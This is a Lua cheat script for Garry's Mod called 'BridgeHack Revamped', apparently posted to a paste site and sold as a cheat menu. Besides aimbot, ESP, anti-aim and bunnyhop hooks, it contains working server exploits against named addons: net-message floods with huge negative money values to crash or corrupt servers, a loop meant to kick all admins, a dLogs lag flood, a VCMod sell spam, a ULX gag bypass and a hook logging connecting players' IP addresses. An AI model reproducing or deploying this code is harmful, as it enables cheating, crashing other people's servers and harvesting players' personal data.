· 10 years ago · Sep 05, 2016, 03:36 AM
1local dversion=1.5
2local dlversion ="Revamped"
3local outdated = 0
4local devbuild = 0
5local pastecheck = 0 // 0 = Bueno 1 = No Bueno
6local crash = 0
7local ulx_spam=0
8local ply = LocalPlayer()
9
10// INSTALIZATION
11// FUNCTIONS
12
13surface.CreateFont( "PopupHFont", {
14 font = "Segoe UI Light",
15 size = 50,
16 weight = 1000,
17} )
18
19surface.CreateFont("HeaderFont", {
20 font = "Segoe UI Semilight",
21 size = 22,
22 weight = 300
23})
24
25surface.CreateFont("PopupFont", {
26 font = "Segoe UI Light",
27 size = 21,
28 weight = 300
29})
30
31surface.CreateFont("HeadingFont",{
32 font = "ChatFont",
33 size = 20,
34 weight = 500,
35 antialias = true,
36})
37
38function SoundClick()
39 if GetConVarNumber("bh_playsound") > 0 then
40 surface.PlaySound("buttons/lightswitch2.wav")
41 else
42end end
43
44function consoleP(message)
45 queries = queries + 1
46 MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
47end
48
49function SoundPop()
50 --buttons/blip1.wav
51 --buttons/button14.wav
52 --buttons/lightswitch2.wav
53 if GetConVarNumber("bh_playsound") > 0 then
54 surface.PlaySound("buttons/button14.wav")
55 else
56end end
57
58local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
59
60function HitBitches()
61 net.Start("hitcomplete")
62 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
63 net.SendToServer()
64end
65concommand.Add("bh_hithack", HitBitches)
66
67function clearcon()
68 for i=0, 100 do
69 print(" ")
70end end
71
72function cleardchat()
73 for i=0, 100 do
74 chat.AddText(" ")
75 end end
76
77--[[
78 Woo, Coloured chat messages!
79]]--
80function chatP(message)
81 queries = queries + 1
82 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
83 --status(message)
84end
85
86function chatPR(message)
87 queries = queries + 1
88 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
89 --status(message)
90end
91
92function chatPG(message)
93 queries = queries + 1
94 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
95 --status(message)
96end
97queries=1;
98http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
99 serverlist = body
100end,function( error )
101 chatP("Error accessing PasteBin!")
102end)
103
104http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
105 changelogs = body
106end,function( error )
107 chatP("Error accessing PasteBin!")
108end)
109
110function printchange()
111 consoleP(""..changelogs.."")
112end
113concommand.Add("bh_logs", printchange)
114
115--[[
116
117 PASTEBIN
118
119 CHECK
120
121
122]]--
123local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
124
125function CheckPastebin()
126 http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
127 bintext = body
128 local stringbin = ( tostring( bintext ))
129 if (StringM8 == stringbin) then
130 consoleP("Connection to PasteBin is good!")
131 else
132 pastecheck = 1
133 end end) end
134--[[
135~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
136 --]]
137function VersionCheck()
138 http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
139 local findpos = string.find( HTML, "CVERSION =", 0, false )
140 if (findpos) then
141 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
142 if (pastecheck == 1) then
143 chatP("Can't check for newer versions because PasteBin is unaccessable!")
144 elseif ( version > dversion ) then
145 outdated = 1
146 chatP("Your version is out of date!" )
147 elseif ( version == dversion ) then
148 chatP("Your version is up to date." )
149 elseif (version < dversion) then
150 devbuild = 1
151 else
152 chatP("Error checking versions!")
153 end end end) end
154VersionCheck()
155
156/*
157 About Menu
158
159 Woo, learn about us.
160
161*/
162function AboutMenu()
163 local frame = vgui.Create("DFrame")
164 frame:SetSize( ScrW(), ScrH() )
165 frame:SetPos( 0,0 )
166 frame:SetVisible( true )
167 frame:SetDraggable( false )
168 frame:MakePopup()
169 frame:ShowCloseButton( false )
170 frame.Paint = function(s,w,h)
171 surface.SetDrawColor( Color(0,0,0,200) )
172 surface.DrawRect( 0,0, w,h )
173 surface.SetDrawColor( Color(0,230,255,150) )
174 surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
175 surface.SetTextColor(255,255,255)
176 surface.SetFont("PopupHFont")
177 surface.SetTextPos( w/5 , ScrH()/10 )
178 surface.DrawText("About Revamped")
179 surface.SetFont("PopupFont")
180 surface.SetTextPos( w/4, h/2.5)
181 surface.DrawText("Revamped, made by Daz & Menu originally made by bridgehack.")
182 surface.SetTextPos( w/4, h/2.4 )
183 end
184
185 button = vgui.Create("DButton", frame)
186 button:SetSize(110,32.5)
187 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
188 button:SetText("")
189 button.Paint = function(s,w,h)
190 surface.SetDrawColor( Color(255,255,255) )
191 surface.DrawRect( 0,0, w,h )
192 surface.SetDrawColor( Color(13,136,69) )
193 surface.DrawRect( 0+3,0+3, w-6,h-6 )
194 surface.SetTextColor(255,255,255)
195 surface.SetFont("PopupFont")
196 surface.SetTextPos(30.5,5.5)
197 surface.DrawText( "Alright!" )
198 end
199 button.DoClick = function(s,w,h)
200 frame:Close()
201 SoundClick()
202 end end
203/*
204
205
206
207
208 WELCOME!!!!!
209
210
211*/
212function WelcomeScreen()
213 local Popup = vgui.Create("DFrame")
214 Popup:SetSize( ScrW(), ScrH() )
215 Popup:SetPos( 0,0 )
216 Popup:SetVisible( true )
217 Popup:SetDraggable( false )
218 Popup:SetTitle( "" )
219 Popup:MakePopup()
220 Popup:ShowCloseButton( false )
221
222 Popup.Paint = function(s,w,h)
223 surface.SetDrawColor( Color(0,0,0,200) )
224 surface.DrawRect( 0,0, w,h )
225 surface.SetDrawColor( Color(13,136,69) )
226 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
227 surface.SetTextColor(255,255,255)
228 surface.SetTextPos(w/5.10, h/2.40)
229 if outdated == 0 then
230 surface.SetFont("PopupHFont")
231 surface.SetTextPos(w/5.10, h/3)
232 surface.DrawText("Revamped")
233 surface.SetFont("PopupFont")
234 elseif outdated == 1 then
235 surface.SetFont("PopupFont")
236 surface.SetTextPos(w/5.10, h/2.50)
237 surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
238 else
239 surface.SetFont("PopupHFont")
240 surface.SetTextPos(10, 100)
241 surface.DrawText( "BridgeHack Version "..dlversion.."")
242 surface.SetFont("PopupFont")
243 surface.SetTextPos(w/5.10, h/2.50)
244 surface.DrawText( "Error" )
245 end end
246 button = vgui.Create("DButton", Popup)
247 button:SetSize(110,32.5)
248 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
249 button:SetText("")
250 button.Paint = function(s,w,h)
251 surface.SetDrawColor( Color(255,255,255) )
252 surface.DrawRect( 0,0, w,h )
253 surface.SetDrawColor( Color(13,136,69) )
254 surface.DrawRect( 0+3,0+3, w-6,h-6 )
255 surface.SetTextColor(255,255,255)
256 surface.SetFont("PopupFont")
257 surface.SetTextPos(30.5,5.5)
258 surface.DrawText( "Alright!" )
259 end
260
261 button.DoClick = function(s,w,h)
262 Popup:Close()
263 SoundClick()
264 end
265
266 logbutton = vgui.Create("DButton", Popup)
267 logbutton:SetSize(110,32.5)
268 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
269 logbutton:SetText("")
270 logbutton.Paint = function(s,w,h)
271 surface.SetDrawColor( Color(255,255,255) )
272 surface.DrawRect( 0,0, w,h )
273 surface.SetDrawColor( Color(13,170,181) )
274 surface.DrawRect( 0+3,0+3, w-6,h-6 )
275 surface.SetTextColor(255,255,255)
276 surface.SetFont("PopupFont")
277 surface.SetTextPos(10,5.5)
278 surface.DrawText( "Change Logs" )
279 end
280
281 logbutton.DoClick = function(s,w,h)
282 Popup:Close()
283 ChangeLogMenu()
284 SoundClick()
285 end end
286concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
287
288-- Version Menu It Looks PURDY
289
290function ChangeLogMenu()
291 local Panel = vgui.Create( "DFrame" )
292 Panel:SetSize( 800, 600 )
293 Panel:SetPos( ScrW(),ScrH() )
294 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
295 Panel:SetTitle( "" )
296 Panel:MakePopup()
297 Panel:ShowCloseButton( false )
298 function Panel:Paint( w, h )
299 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
300 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
301 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
302 end
303
304 local Button = vgui.Create("DButton", Panel)
305 Button:SetPos( 740, 10 )
306 Button:SetSize( 50, 25 )
307 Button:SetText( "" )
308 function Button:Paint( w, h )
309 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
310 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
311 end
312 Button.DoClick = function()
313 Panel:Close()
314 end
315
316 local Label = vgui.Create( "DLabel", Panel )
317 Label:SetColor( Color( 255, 255, 255, 255 ) )
318 Label:SetFont( "DermaLarge" )
319
320 if outdated == 1 then
321 Label:SetText( "Your version " ..dlversion.." is outdated!" )
322 Label:SetTextColor( Color( 255,0,0 ) )
323 elseif outdated == 0 then
324 Label:SetText( "Your version "..dlversion.." is up to date!" )
325 Label:SetTextColor( Color( 0,255,0 ) )
326 else
327 Label:SetText("Error receving version information!")
328 end
329
330 Label:SizeToContents()
331 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
332
333 local HTML = vgui.Create( "HTML", Panel )
334 HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
335 HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
336 HTML:SetPos( 25, 100 )
337 HTML.Paint = function()
338 surface.SetDrawColor( Color( 160, 160, 160) )
339 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
340 end end
341/*
342
343
344 END MENU
345
346
347*/
348local randomvar = math.Rand(0,9999999)
349local BridgeHack = {}
350BridgeHack.RandomVar = randomvar
351local sweg = LocalPlayer():GetEyeTrace().Entity
352local ply = LocalPlayer()
353ply:ConCommand("bh_welcome")
354timer.Destroy("changecolor")
355
356queries=1;
357function status(statu)-- Made for debugging things.
358 queries = queries + 1
359 if GetConVarNumber("bh_showhud") == 1 then
360 hook.Add( "HUDPaint", "drawcurrent", function()
361 surface.SetFont( "BudgetLabel" )
362 surface.SetTextColor( 255,255,255 )
363 surface.SetTextPos( 25, 25 )
364 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
365 end) end
366
367 if GetConVarNumber("bh_chat_status") == 1 then
368 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
369 end end
370
371function Debug(message)
372 queries = queries + 1
373 chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
374end
375
376local function CreateCvar(cvar, value)
377 CreateClientConVar(cvar, value)
378 consoleP("CVAR: " .. cvar .. " set to " .. value)
379end
380
381local function ResetCvar(cvar, value)
382 ply:ConCommand("" .. cvar .. " " .. value)
383 Debug("CVAR: " .. cvar .. " reset to " .. value)
384end
385
386CheckPastebin()
387CreateCvar("bh_notify", 1)
388CreateCvar("bh_ulxgag", 1, true, false)
389CreateCvar("bh_playsound",1)
390CreateCvar("bh_hitmenuammount",0)
391CreateCvar("bh_menu_effects", 1)
392CreateCvar("bh_firstload_correct", 1)
393CreateCvar("bh_chat_status", 0)
394CreateCvar("bh_cheats_enabled_on_start", 0)
395CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
396CreateCvar("bh_showhud", 0)
397CreateCvar("bh_esp",0)
398CreateCvar("bh_esp_box",1)
399CreateCvar("bh_debug",0)
400CreateCvar("bh_esp_hp",1)
401CreateCvar("bh_esp_rank",1)
402CreateCvar("bh_renderdistance_enable",0)
403CreateCvar("bh_esp_rdistance",2000)
404CreateCvar("bh_esp_infocolor_r",255)
405CreateCvar("bh_esp_infocolor_g",0)
406CreateCvar("bh_esp_infocolor_b",255)
407CreateCvar("bh_ratm_money2give",100000)
408
409
410if GetConVarNumber("bh_firstload_correct") == 1 then
411 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching Revamped on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing Revamped, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to Revamped " .. ply:Nick() .. "!", "Click me to continue" )
412 ply:ConCommand("bh_firstload_correct 0")
413 chatP("Welcome to the world of Revamped.")
414
415else
416end
417
418if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
419 ply:ConCommand("incrementvar sv_cheats 0 1 1")
420 status("Enabled sv_cheats to 1")
421else
422end
423if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
424
425 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
426 status("Enabled sv_allowcslua to 1")
427else
428end
429
430// FIXES
431local oChatAddText = chat.AddText
432
433function chat.AddText( ... )
434 local cArgs = { ... };
435
436
437 for k, v in pairs( cArgs ) do
438 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
439 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
440 return false;
441 else
442 end
443 end
444 return oChatAddText( ... );
445end
446
447---------------------------------------// Global timers //---------------------------------------
448if GetConVarNumber("bh_showhud") == 1 then
449 hook.Add( "HUDPaint", "drawcursor", function()
450 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
451 surface.SetDrawColor(c)
452 surface.DrawLine(x - 10, y, x - 5, y)
453 surface.DrawLine(x, y + 5, x, y + 10)
454 surface.DrawLine(x + 10, y, x + 5, y)
455 end)
456
457 hook.Add( "HUDPaint", "drawabout", function()
458 surface.SetFont( "BudgetLabel" )
459 surface.SetTextColor( 46, 204, 113 )
460 surface.SetTextPos( 25, 15 )
461 surface.DrawText( "BridgeHack " .. dlversion )
462 end)
463
464 if GetConVarNumber("bh_debug") > 0 then
465 if system.IsWindows( ) == true then
466 hook.Add( "HUDPaint", "drawdev1", function()
467 surface.SetFont( "BudgetLabel" )
468 surface.SetTextColor( 231, 76, 60 )
469 surface.SetTextPos( 25, 47 )
470 surface.DrawText( "[] Server Operating System: Windows" )
471 end)
472 end
473
474 if system.IsLinux( ) == true then
475 hook.Add( "HUDPaint", "drawdev2", function()
476 surface.SetFont( "BudgetLabel" )
477 surface.SetTextColor( 231, 76, 60 )
478 surface.SetTextPos( 25, 47 )
479 surface.DrawText( "[] Server Operating System: Linux" )
480 end)
481 end
482
483 if system.IsOSX( ) == true then
484 hook.Add( "HUDPaint", "drawdev3", function()
485 surface.SetFont( "BudgetLabel" )
486 surface.SetTextColor( 231, 76, 60 )
487 surface.SetTextPos( 25, 47 )
488 surface.DrawText( "[] Server Operating System: OSX")
489 end)
490 end
491
492 hook.Add( "HUDPaint", "drawdev4", function()
493 surface.SetFont( "BudgetLabel" )
494 surface.SetTextColor( 231, 76, 60 )
495 surface.SetTextPos( 25, 47 )
496 surface.DrawText( "[] Server Operating System: Windows" )
497 end)
498
499 hook.Add( "HUDPaint", "drawdev5", function()
500 surface.SetFont( "BudgetLabel" )
501 surface.SetTextColor( 231, 76, 60 )
502 surface.SetTextPos( 25, 57 )
503 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
504 end)
505
506 hook.Add( "HUDPaint", "drawdev6", function()
507 surface.SetFont( "BudgetLabel" )
508 surface.SetTextColor( 231, 76, 60 )
509 surface.SetTextPos( 25, 67 )
510 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
511 end)
512
513 end
514end
515
516status("Starting")
517status("Revamped Loaded")
518
519for k,v in pairs(player.GetAll()) do
520
521 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
522 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
523 end
524consoleP("Revamped, by Daz")
525consoleP(dlversion)
526
527// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
528// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
529
530concommand.Add("bh_hitmanxcrash", function ( ply )
531for i=0,300 do
532for k,v in pairs(player.GetAll()) do
533net.Start( "SendMoney" )
534net.WriteEntity( v )
535net.WriteEntity( v )
536net.WriteEntity( v )
537net.WriteString( "-100000000000000000000000000000000000000000" )
538net.SendToServer()
539
540end end end)
541
542
543function MagnetoThrow()
544-- Nice and easy, turn it slow 180
545 timer.Simple(.02,Turn)
546 timer.Simple(.04,Turn)
547 timer.Simple(.06,Turn)
548 timer.Simple(.08,Turn)
549 timer.Simple(.10,Turn)
550 timer.Simple(.12,Turn)
551 timer.Simple(.14,Turn)
552 timer.Simple(.16,Turn)
553 timer.Simple(.18,Turn)
554 timer.Simple(.20,Turn)
555 timer.Simple(.22,Turn)
556 timer.Simple(.24,Turn)
557 timer.Simple(.26,Turn)
558 timer.Simple(.28,Turn)
559 timer.Simple(.30,Turn)
560 timer.Simple(.32,Turn)
561 timer.Simple(.34,Turn)
562 timer.Simple(.36,Turn)
563-- OH MY GOD WHIP AROUND 180
564 timer.Simple(.46,TurnBack)
565
566 timer.Simple(.7,function() RunConsoleCommand("+attack") end)
567 timer.Simple(.72,function() RunConsoleCommand("-attack") end)
568end
569
570function Turn()
571
572 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,10,0))
573end
574
575function TurnBack()
576
577 LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles()-Angle(0,180,0))
578end
579
580concommand.Add("bh_360",MagnetoThrow)
581
582
583concommand.Add("bh_hitmanxinfa", function ( ply )
584for k,v in pairs(player.GetAll()) do
585net.Start( "SendMoney" )
586net.WriteEntity( v )
587net.WriteEntity( v )
588net.WriteEntity( v )
589net.WriteString( "-100000000000000000000000000000000000000000" )
590net.SendToServer()
591
592end end)
593
594concommand.Add("bh_hitmancrash",function()
595 for i=0,5000 do
596 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
597 end
598
599end)
600
601
602concommand.Add("bh_ulxgag",function()
603 if(ulx and ulx.gagUser) then
604 if GetConVarNumber("bh_ulxgag") == 1 then
605 ulx.gagUser(LocalPlayer(),false)
606 else
607 end
608 else
609 end
610
611end)
612
613concommand.Add("bh_antiaim",function()
614 hook.Add("CreateMove",function(cmd, u)
615 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
616 local aa = cmd:GetViewAngles()
617 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
618end)
619
620end)
621
622
623concommand.Add("bh_infinite_all",function()
624 clearcon()
625 cleardchat()
626 chatP("Giving money, He he")
627for k,v in pairs(player.GetAll()) do
628net.Start( "BailOut" )
629 net.WriteEntity( v )
630 net.WriteEntity( v )
631 net.WriteFloat( -infinite )
632 net.SendToServer()
633 end
634
635end)
636
637concommand.Add("bh_ipsteal",function()
638hook.Add("PlayerConnect", "IPStealer", function(name, ip)
639 file.Append("ips.txt", name .. " - " .. ip .. "\n")
640end)
641
642end)
643
644concommand.Add("dark_wepdupe", function()
645
646
647 timer.Simple( 0.4744, function()
648 RunConsoleCommand("say", "/drop")
649 end)
650
651 timer.Simple( 1.4135, function()
652 RunConsoleCommand("say", "/sleep")
653 end)
654
655 timer.Simple( 7, function()
656 RunConsoleCommand("say", "/sleep")
657 end)
658
659end)
660
661local function MESPCheck(v)
662 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
663 return true
664 else
665 return false
666 end
667end
668
669hook.Add("HUDPaint", "chams", function()
670 for k,v in pairs(player.GetAll()) do
671 if GetConVarNumber("bh_chams") == 1 then
672 if MESPCheck(v) then
673 cam.Start3D(EyePos(), EyeAngles())
674 v:SetMaterial("models/debug/debugwhite")
675 v:SetColor(Color(20, 71, 244, 255))
676 render.MaterialOverride("models/debug/debugwhite")
677 render.SuppressEngineLighting( false )
678 render.SetBlend( 0.3 )
679 render.SetColorModulation( 0, 1, 0 )
680 v:DrawModel()
681 if GetConVarNumber("dead_chams_wire") >= 1 then
682 v:SetMaterial("models/wireframe")
683 render.MaterialOverride("models/wireframe")
684 v:DrawModel()
685 end
686 cam.End3D()
687 end
688 end
689 end
690end)
691CreateConVar("bh_chams",0)
692
693-- "realistic" aimbot
694function aimbotRealistic()
695 if LocalPlayer():GetEyeTraceNoCursor().Entity:IsNPC() or LocalPlayer():GetEyeTraceNoCursor().Entity:IsPlayer() then
696 target = LocalPlayer():GetEyeTraceNoCursor().Entity
697 aimbone = LocalPlayer():GetEyeTraceNoCursor().Entity:LookupBone("ValveBiped.Bip01_Head1")
698 targetheadpos,targetheadang = LocalPlayer():GetEyeTraceNoCursor().Entity:GetBonePosition(aimbone)
699 LocalPlayer():SetEyeAngles((targetheadpos - LocalPlayer():GetShootPos()):Angle())
700 if GetConVarNumber("K_aimbot_autofire") == 1 then
701 rcc("+attack")
702 end
703 else
704 if GetConVarNumber("K_aimbot_autofire") == 1 then
705 rcc("-attack")
706 end
707 end
708end
709
710function realisticEnable()
711 hook.Add("Think","realistic",aimbotRealistic)
712end
713function realisticDisable()
714 hook.Remove("Think","realistic")
715end
716concommand.Add("K_aimbot_+realistic",realisticEnable)
717concommand.Add("K_aimbot_-realistic",realisticDisable)
718
719CreateConVar("K_aimbot_autofire",0)
720
721concommand.Add("bh_annoying_rope", function()
722
723
724 timer.Simple( 0.4744, function()
725 RunConsoleCommand("rope_width", "1000")
726 end)
727
728
729end)
730
731concommand.Add("bh_williamcar_dealer", function()
732
733
734 timer.Simple( 0.4744, function()
735 ply:ConCommand("incrementvar williamcar_dealer 0 1 1")
736 net.SendToServer()
737 end)
738
739
740end)
741
742concommand.Add("bh_fullbright", function()
743
744
745 timer.Simple( 0.4744, function()
746 RunConsoleCommand("mat_fullbright", "1")
747 end)
748
749
750end)
751
752
753hook.Add("HUDPaint","",function( )
754for k, v in next, player.GetAll( ) do
755if v:GetObserverTarget( ) == LocalPlayer() then
756surface.SetTextPos( 1700 , 5 )
757surface.DrawText("you GET Spectated")
758end
759end
760end )
761
762local AddHook = dismay and dismay.AddHook or hook and hook.Add or function() print("fuck i missed") end;
763AddHook("CreateMove", "BHOP", function(cmd)
764if (cmd:KeyDown(IN_JUMP)) then
765if(cmd:GetMouseX() < 0) then --spinning right
766cmd:SetSideMove(-10000);
767elseif(cmd:GetMouseX() > 0) then
768cmd:SetSideMove(10000);
769end
770if (LocalPlayer():IsOnGround()) then
771cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_JUMP));
772return;
773end
774end
775cmd:RemoveKey(IN_JUMP);
776end)
777
778concommand.Add("bh_elstic_width", function()
779
780
781 timer.Simple( 0.4744, function()
782 RunConsoleCommand("elastic_width", "1000")
783 end)
784
785
786end)
787
788function vcmod()
789for i=0,30 do
790 for i=1,10 do
791 net.Start( "AttemptSellCar" )
792 net.WriteInt( i, 8 )
793 net.SendToServer()
794 end
795 end
796end
797concommand.Add("bh_vcmodexploit", vcmod)
798
799local SW = {}
800
801SW.Enabled = false
802SW.ViewOrigin = Vector( 0, 0, 0 )
803SW.ViewAngle = Angle( 0, 0, 0 )
804SW.Velocity = Vector( 0, 0, 0 )
805
806function SW.CalcView( ply, origin, angles, fov )
807 if ( !SW.Enabled ) then return end
808 if ( SW.SetView ) then
809 SW.ViewOrigin = origin
810 SW.ViewAngle = angles
811
812 SW.SetView = false
813 end
814 return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
815end
816hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
817
818function SW.CreateMove( cmd )
819 if ( !SW.Enabled ) then return end
820
821 // Add and reduce the old velocity.
822 local time = FrameTime()
823 SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
824 SW.Velocity = SW.Velocity * 0.95
825
826 // Rotate the view when the mouse is moved.
827 local sensitivity = 0.022
828 SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
829 SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
830
831 // What direction we're going to move in.
832 local add = Vector( 0, 0, 0 )
833 local ang = SW.ViewAngle
834 if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
835 if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
836 if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
837 if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
838 if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
839 if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
840
841 // Speed.
842 add = add:GetNormal() * time * 500
843 if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
844
845 SW.Velocity = SW.Velocity + add
846
847 // This stops us looking around crazily while spiritwalking.
848 if ( SW.LockView == true ) then
849 SW.LockView = cmd:GetViewAngles()
850 end
851 if ( SW.LockView ) then
852 cmd:SetViewAngles( SW.LockView )
853 end
854
855 // This stops us moving while spiritwalking.
856 cmd:SetForwardMove( 0 )
857 cmd:SetSideMove( 0 )
858 cmd:SetUpMove( 0 )
859end
860hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
861
862function SW.Toggle()
863 SW.Enabled = !SW.Enabled
864 SW.LockView = SW.Enabled
865 SW.SetView = true
866
867 local status = { [ true ] = "ON", [ false ] = "OFF" }
868 print( "SpiritWalk " .. status[ SW.Enabled ] )
869end
870concommand.Add( "bh_sw_toggle", SW.Toggle )
871
872concommand.Add( "bh_sw_pos", function() print( SW.ViewOrigin ) end )
873
874LastTime = CurTime()
875
876function drawdatopscreen()
877 if GetConVarNumber("bh_notify") > 0 then
878 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
879 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
880 if sweg == 1 then
881 LastTime = CurTime()
882 end
883 draw.DrawText("Revamped (By Daz) | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
884 end
885end
886hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
887
888concommand.Add("bh_check",function()
889clearcon()
890cleardchat()
891chatP("Checking for exploitable addons...")
892if HIT then
893 chatPG("Hitman X | Found")
894else
895 chatPR("Hitman X | Not Found")
896end
897if HitMenu then
898 chatPG("Hit Menu | Found")
899else
900 chatPR("Hit Menu | Not Found")
901end
902if BAIL then
903 chatPG("BailNPC | Found")
904else
905 chatPR("BailNPC | Not Found")
906end
907if dLogs then
908 chatPG("DLOGS | Found")
909else
910 chatPR("DLOGS | Not Found")
911end
912if ChanNum then
913 chatPG("MXRadio| Found")
914else
915 chatPR("MXRadio | Not Found")
916end
917if VC_Menu_Info_Panel_Build then
918 chatPG("VCMD | Found")
919else
920 chatPR("VCMD | Not Found")
921end
922if MDE then
923 chatPG("MDE | Found")
924else
925 chatPR("MDE | Not Found")
926end
927if NLR then
928 chatPG("NLR | Found")
929else
930 chatPR("NLR | Not Found")
931end
932if Warnings_for_kick then
933 chatPG("ULX Extended | Found")
934else
935 chatPR("ULX Extended | Not Found")
936end
937
938end)
939
940function reloadeddunkalladmins()
941clearcon()
942chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
943timer.Create( "heymnangng", 3, 0, function()
944for k,v in ipairs(player.GetAll()) do
945if( v:GetUserGroup() != "user" ) then
946if v:Nick() != "Gam" then
947for i=0, 700 do
948net.Start( "GetCar" )
949net.WriteEntity(v)
950net.WriteEntity(v)
951net.SendToServer()
952end
953chatP('Kicked: '.. v:Nick().. "!")
954end end end end)end
955concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
956
957function dloglag()
958clearcon()
959print("Lagging server.")
960clearcon()
961print("Lagging server..")
962clearcon()
963print("Lagging server...")
964timer.Create( "dlogsisfucked", 3, 0, function()
965for i=0, 7000 do
966local tosend = {
967 cmd="+forward",
968 args=" "
969
970 }
971 net.Start('dLogsGetCommand')
972 net.WriteTable(tosend)
973 net.SendToServer()
974
975end end) end
976
977concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
978concommand.Add( "bh_dlogs_lag_off", function()
979 clearcon()
980 consoleP("Stopping the lag...")
981 chatP("Stopping the lag...")
982 timer.Destroy("dlogisfucked")
983end)
984
985concommand.Add("bh_admins", function()
986clearcon()
987chatP("Listing non-players..")
988chatP("Check console.")
989consoleP("============= ULX | Custom admin mode RANKS ============")
990for k,v in pairs(player.GetAll()) do
991 if( v:GetUserGroup() != "user" ) then
992 print(v:Nick().. " | ".. v:GetUserGroup())
993 end
994end
995consoleP("========================================================")
996end)
997
998local Spammer = CreateClientConVar("bh_advert", "0", true, false)
999
1000local function Spam()
1001 if Spammer:GetBool() then
1002 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
1003 end end
1004timer.Create("Spam", 1.5,0,Spam)
1005
